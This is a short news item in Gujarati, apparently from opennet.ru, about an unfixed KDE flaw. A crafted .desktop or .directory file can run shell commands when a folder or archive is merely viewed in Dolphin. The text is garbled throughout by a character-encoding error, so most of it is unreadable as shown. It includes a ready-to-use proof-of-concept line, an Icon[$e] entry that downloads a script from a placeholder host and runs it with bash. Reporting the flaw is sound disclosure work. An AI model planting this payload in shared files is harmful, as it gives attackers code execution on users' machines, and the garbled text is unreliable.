เชซเชพเช‡เชฒเซ‹เชจเซ€ เชฏเชพเชฆเซ€ เชœเซ‹เชคเซ€ เชตเช–เชคเซ‡ KDE เช•เซ‹เชก เช…เชฎเชฒเซ€เช•เชฐเชฃ เชจเชฌเชณเชพเชˆ

KDE เชฎเชพเช‚ เช“เชณเช–เชพเชฏเซ‡เชฒ เชจเชฌเชณเชพเชˆ, เชœเซ‡ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเซ‡ เชฎเชจเชธเซเชตเซ€ เช†เชฆเซ‡เชถเซ‹ เชšเชฒเชพเชตเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡ เชœเซเชฏเชพเชฐเซ‡ เช•เซ‹เชˆ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชกเชพเชฏเชฐเซ‡เช•เซเชŸเชฐเซ€ เช…เชฅเชตเชพ เช†เชฐเซเช•เชพเช‡เชตเชจเซ‡ เชœเซเช เช›เซ‡ เชœเซ‡เชฎเชพเช‚ เช–เชพเชธ เชกเชฟเชเชพเช‡เชจ เช•เชฐเซ‡เชฒ โ€œ.desktopโ€ เช…เชจเซ‡ โ€œ.directoryโ€ เชซเชพเชˆเชฒเซ‹ เชนเซ‹เชฏ เช›เซ‡. เชนเซเชฎเชฒเชพ เชฎเชพเชŸเซ‡ เชœเชฐเซ‚เชฐเซ€ เช›เซ‡ เช•เซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชซเช•เซเชค เชกเซ‹เชฒเซเชซเชฟเชจ เชซเชพเช‡เชฒ เชฎเซ‡เชจเซ‡เชœเชฐเชฎเชพเช‚ เชซเชพเช‡เชฒเซ‹เชจเซ€ เชธเซ‚เชšเชฟ เชœเซเช, เชฆเซ‚เชทเชฟเชค เชกเซ‡เชธเซเช•เชŸเซ‹เชช เชซเชพเช‡เชฒ เชกเชพเช‰เชจเชฒเซ‹เชก เช•เชฐเซ‡ เช…เชฅเชตเชพ เชกเซ‡เชธเซเช•เชŸเซ‹เชช เชชเชฐ เช…เชฅเชตเชพ เชฆเชธเซเชคเชพเชตเซ‡เชœเชฎเชพเช‚ เชถเซ‹เชฐเซเชŸเช•เชŸ เช–เซ‡เช‚เชšเซ‡. เชธเชฎเชธเซเชฏเชพ เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€เช“เชจเชพ เชตเชฐเซเชคเชฎเชพเชจ เชชเซเชฐเช•เชพเชถเชจเชฎเชพเช‚ เชชเซ‹เชคเชพเชจเซ‡ เชฎเซ‡เชจเซ€เชซเซ‡เชธเซเชŸ เช•เชฐเซ‡ เช›เซ‡ เช•เซ‡.เชกเซ€. เชซเซเชฐเซ‡เชฎเชตเชฐเซเช• 5.60.0 เช…เชจเซ‡ เชœเซ‚เชจเซ€ เช†เชตเซƒเชคเซเชคเชฟเช“, KDE 4 เชธเซเชงเซ€. เชจเชฌเชณเชพเชˆ เชนเชœเซ เชชเชฃ เช›เซ‡ เชฐเชนเซ‡ เช›เซ‡ เช…เชธเซเชงเชพเชฐเชฟเชค (CVE เชธเซ‹เช‚เชชเชพเชฏเซ‡เชฒ เชจเชฅเซ€).

เชธเชฎเชธเซเชฏเชพ KDesktopFile เชตเชฐเซเช—เชจเชพ เช–เซ‹เชŸเชพ เช…เชฎเชฒเซ€เช•เชฐเชฃเชจเซ‡ เช•เชพเชฐเชฃเซ‡ เชฅเชพเชฏ เช›เซ‡, เชœเซ‡, เชœเซเชฏเชพเชฐเซ‡ โ€œเช†เช‡เช•เชจโ€ เชšเชฒ เชชเชฐ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเซ‡ เช›เซ‡ เชคเซเชฏเชพเชฐเซ‡, เชฏเซ‹เช—เซเชฏ เชฐเซ€เชคเซ‡ เชฌเชนเชพเชฐ เชจเซ€เช•เชณเซเชฏเชพ เชตเชฟเชจเชพ, เชฎเซ‚เชฒเซเชฏเชจเซ‡ KConfigPrivate::expandString() เชซเช‚เช•เซเชถเชจเชฎเชพเช‚ เชชเชธเชพเชฐ เช•เชฐเซ‡ เช›เซ‡, เชœเซ‡ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชธเชนเชฟเชค เชถเซ‡เชฒ เชตเชฟเชถเชฟเชทเซเชŸ เช…เช•เซเชทเชฐเซ‹เชจเซเช‚ เชตเชฟเชธเซเชคเชฐเชฃ เช•เชฐเซ‡ เช›เซ‡. เช†เชฆเซ‡เชถเซ‹ เชคเชฐเซ€เช•เซ‡ "$(..)" เชถเชฌเซเชฆเชฎเชพเชณเชพเช“ เชšเชฒเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. XDG เชธเซเชชเชทเซเชŸเซ€เช•เชฐเชฃเชจเซ€ เชœเชฐเซ‚เชฐเชฟเชฏเชพเชคเซ‹เชฅเซ€ เชตเชฟเชชเชฐเซ€เชค, เช…เชฎเชฒเซ€เช•เชฐเชฃ เชœเชพเชนเซ‡เชฐเชพเชค เชถเซ‡เชฒ เช•เชจเซเชธเซเชŸเซเชฐเช•เซเชŸเซเชธ เชธเซ‡เชŸเชฟเช‚เช—เซเชธเชจเชพ เชชเซเชฐเช•เชพเชฐเชจเซ‡ เช…เชฒเช— เช•เชฐเซเชฏเชพ เชตเชฟเชจเชพ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เชเชŸเชฒเซ‡ เช•เซ‡. เชฒเซ‹เชจเซเชš เชฅเชจเชพเชฐเซ€ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเชจเซ€ เช•เชฎเชพเชจเซเชก เชฒเชพเช‡เชจ เชจเช•เซเช•เซ€ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชœ เชจเชนเซ€เช‚, เชชเชฃ เชกเชฟเชซเซ‰เชฒเซเชŸ เชฐเซ‚เชชเซ‡ เชชเซเชฐเชฆเชฐเซเชถเชฟเชค เชšเชฟเชนเซเชจเซ‹เชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชชเชฃ.

เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชชเซ‚เชฐเชคเซเช‚ เช›เซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเซ‡ ". เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€" เชซเชพเช‡เชฒ เชงเชฐเชพเชตเชคเซ€ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชธเชพเชฅเซ‡ เชเชฟเชช เช†เชฐเซเช•เชพเช‡เชต เชฎเซ‹เช•เชฒเซ‹ เชœเซ‡เชฎ เช•เซ‡:

[เชกเซ‡เชธเซเช•เชŸเซ‹เชช เชเชจเซเชŸเซเชฐเซ€] เชชเซเชฐเช•เชพเชฐ = เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€
เช†เช‡เช•เชจ[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

เชœเซเชฏเชพเชฐเซ‡ เชคเชฎเซ‡ เชกเซ‹เชฒเซเชซเชฟเชจ เชซเชพเช‡เชฒ เชฎเซ‡เชจเซ‡เชœเชฐเชฎเชพเช‚ เช†เชฐเซเช•เชพเช‡เชตเชจเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชœเซ‹เชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเซ‹ เช›เซ‹, เชคเซเชฏเชพเชฐเซ‡ https://example.com/FILENAME.sh เชธเซเช•เซเชฐเชฟเชชเซเชŸ เชกเชพเช‰เชจเชฒเซ‹เชก เชฅเชถเซ‡ เช…เชจเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เชฅเชถเซ‡.


เชธเซ‹เชฐเซเชธ: opennet.ru

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹